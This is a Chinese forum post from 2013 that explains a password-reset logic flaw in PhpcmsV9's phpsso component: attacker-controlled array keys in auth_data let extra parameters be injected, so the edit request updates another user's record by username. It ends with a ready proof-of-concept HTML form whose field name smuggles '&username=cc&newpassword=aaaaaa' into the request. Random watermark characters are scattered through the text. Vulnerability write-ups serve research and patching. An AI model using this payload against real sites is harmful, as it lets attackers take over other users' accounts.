找回密码
 立即注册
查看: 2218|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:+ ?6 Z" b3 S! Y  ^: y
+ @, M2 j9 \$ m' i( s( L9 S9 v

* M  }7 b, ~& D- [parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
& _3 L8 f% T% K
$ M- K9 `! h+ y4 ~; ~4 W在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。9 K. \+ E. J9 H6 v$ ^

  P9 r3 S; P" R8 q. l我把它留给了你们。
8 s6 E* u! b5 ~% ^+ _1 M不知道你们发现了它没有。% u) t5 h3 l: U5 m# @5 `
2 U4 `/ k, l' S3 {+ o5 s6 R' ^
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
# U6 L2 ?" N( M
" g" D4 D( e# g+ s. Z' L$ y所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。; |- f2 P& B) D% c) t! W% `8 o
7 I( v9 ^$ w* ~, e+ W
也就是& B7 _" N6 L$ \. }
5 N( F6 b+ d- T3 l
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。: T" F( @2 P* Q+ E2 Y" L
& N1 D* M# R5 l7 m7 L% R9 x
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
$ b4 e) H* j7 m0 n, N3 V8 R" j0 k, k$ y

8 w9 H" ^& y: u( N& c6 x其实我们有这样的机会,看看代码,如下:
. R! |# C9 R/ Q0 p
! s: P! C5 w6 f( K% T8 K+ H% B7 T1 l) ?/ d- Y# q' a6 }: H/ W/ c) C
public function auth_data($data) {( n9 m: h5 i5 o3 j6 y$ S$ Q
                $s = $sep = '';
3 }  u: A0 K+ h                foreach($data as $k => $v) {% w- j" W7 b' q3 H$ G/ G
                        if(is_array($v)) {4 ]4 O7 R+ x# [, @& Z3 F
                                $s2 = $sep2 = '';
3 U: `" ?8 v2 K" b5 H/ u+ P$ {1 {                                foreach($v as $k2 => $v2) {3 r; U" l0 Q. c2 `$ s/ ?' ?
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
3 w) s/ M& s: [" S; y$ ^% P                                        $sep2 = '&';
3 a$ S7 Z: d% r                                }& X$ u9 x+ v% g, P: j3 W* p
                                $s .= $sep.$s2;5 y7 D3 E, n. E3 x4 m  c
                        } else {' _& u0 r0 N! y+ o0 I
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);8 H% x! L7 P) A1 S
                        }
8 b7 Q' J4 g: C# E% W9 ^                        $sep = '&';4 [- B- `' {! [1 I$ v$ D
                }: \9 a! H) i3 L  H0 r3 {

" ~; Y- |# T. z4 N) q& {3 V                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));& N* Q+ M* b* M; I  f  |
                return $auth_s;
* u1 I/ m1 {, {/ b% m- e        }  F1 ^3 t2 Q2 D& G& b

1 \% I8 T! y; }. m/ E' c" @可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。& Q0 a  p* k$ b3 F/ X
# j+ M/ F+ Q" t9 J- l
举个例子3 ^; Z- U8 [/ m0 z
: G1 d5 [( W# g/ R
$a[aaa=a&bbb] = 'a';) D( t0 z  e" E. P: v
0 _" U" I$ F& [* w% _0 i
会变成aaa=a&bbb=a% y% F" f2 J4 N+ g: ^$ W
1 Z0 i; r7 x& N) S2 l% F
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。( Z% z/ ^& g) q: x
$ O! y& m9 c  L
这个时候,我们可以再去看一个函数。
% v! n9 r0 O" Q1 V5 x9 Y
' }, T, W; b3 G# p7 C2 V9 U2 O就在这个文件内:- h4 |' t: E: D

, F: ~% M# r& ?# s; n" R& a; p/ I# U" {# |
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {1 k  w8 T9 n' G, g1 U/ \
                if($email && !$this->_is_email($email)) {
5 o8 J$ }2 {" H& G" S/ a) X                        return -4;
, M% s2 R3 [( M& [( ~                }$ T( `0 T2 M2 G3 X8 g
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));; H5 `1 y/ l, O; ^
        }7 K; I7 v+ c* i  k
( l7 }% h' ~( F0 q- r" b$ L
这是向通行证发了这样一个请求。
4 |+ }1 c8 V8 u/ r1 X+ i: k6 f' b+ e9 x7 @/ @' T! |& @2 z4 x: k2 F
我们再跟到通信证代码里去看看,就会有所发现。0 S% r2 B3 ]4 I; t/ z

4 m% c& p1 J3 w0 c; k6 ?
6 O1 ?, U2 j2 t: _# o5 `) upublic function edit() {. m1 e/ Y+ M! E5 C& w' I# x1 x( Q
//能省就省,太长了不是吗?
# s' }+ S6 T/ ]5 i  b5 n6 i
( ?0 |: R* I+ n# Hif($this->username) {0 }* ^" L8 f9 g
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
0 p8 g% d: @! {1 q" }                                $res = $this->db->update($data, array('username'=>$this->username));
4 J6 v- H" Y) b" s                        } else {
3 V  K* B- y  B9 {5 t; W2 F                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);0 p3 h  _# ~* L  }4 l1 d
                                $res = $this->db->update($data, array('uid'=>$this->uid));; n  Q+ K$ Q( I7 y: I7 j1 q( ~6 a
                        }
+ Y6 W# }2 `2 i$ A# D* E: u' R
: |- d! }; K: b& i! ^好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:. t. C- G& {% K' W) d

; {/ ?- d  r% f6 \public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')& i3 @1 C$ U+ H. c% i: Z1 U
" E) t3 @( I! e9 Y3 S8 G
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。- g4 K! \& L* U6 L

, m3 j$ t7 U% x3 _) ]我当然找到了:
5 j: X4 G4 M7 M7 nphpcms9/phpcms/modules/member/index.php
' i7 p  F8 D8 i* h
. T( s4 w( e& Y6 V9 y, O$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
) s) T6 C! }* c$ x  Q4 w' `6 G9 x9 Q. m0 y4 h+ x9 q
然后就没有然后了。! R$ c% x, G+ _3 u, f
& o+ c1 j- {( V; ?- r
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
$ H# }1 S4 L+ {" q) a  I2 [' C                                <table width="100%" cellspacing="0" class="table_form">% `- M, i" z# H) Z4 b4 r5 l3 S. c
                                        <tr>! C" w% C- B, q
                                                <th width="80">邮箱:</th>        ; g2 D- F4 A; W
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
/ A% `& `2 F! F                                        </tr>
4 U! m6 l7 p) B3 {% [; C+ C                                        <tr>
3 Y/ X; ^: n/ B& z$ d                                                <th width="80">原密码:</th>        
9 Z* z: m, N( {0 @  G5 @                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
% K+ j; f9 ^' `# y                                        </tr>& O7 M# o7 f' u- i2 u9 j
                                        <tr>
3 k8 q" b8 }+ N% Y                                                <th>新密码:</th>
9 A, |$ r8 B9 C  }8 Y                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>  X2 o+ o3 K1 ^
                                        </tr>: w7 Q, b8 Y6 P3 c7 j( D3 C
                                        <th></th>
! {4 N# t2 {0 W                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
  m. @# I2 P2 a' e8 V, w5 T5 U! O                                        </tr>
. P, R5 }; R& L: \* z& f* R* E* G' u: A                                </table>
# R6 q3 _2 Y) {) X7 T% `  `. f8 J5 B$ o( E8 j
                               
8 D  y$ \2 p* @4 A                        </form>( X8 g: L( _: A7 f( i' B, O! Q& f" r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表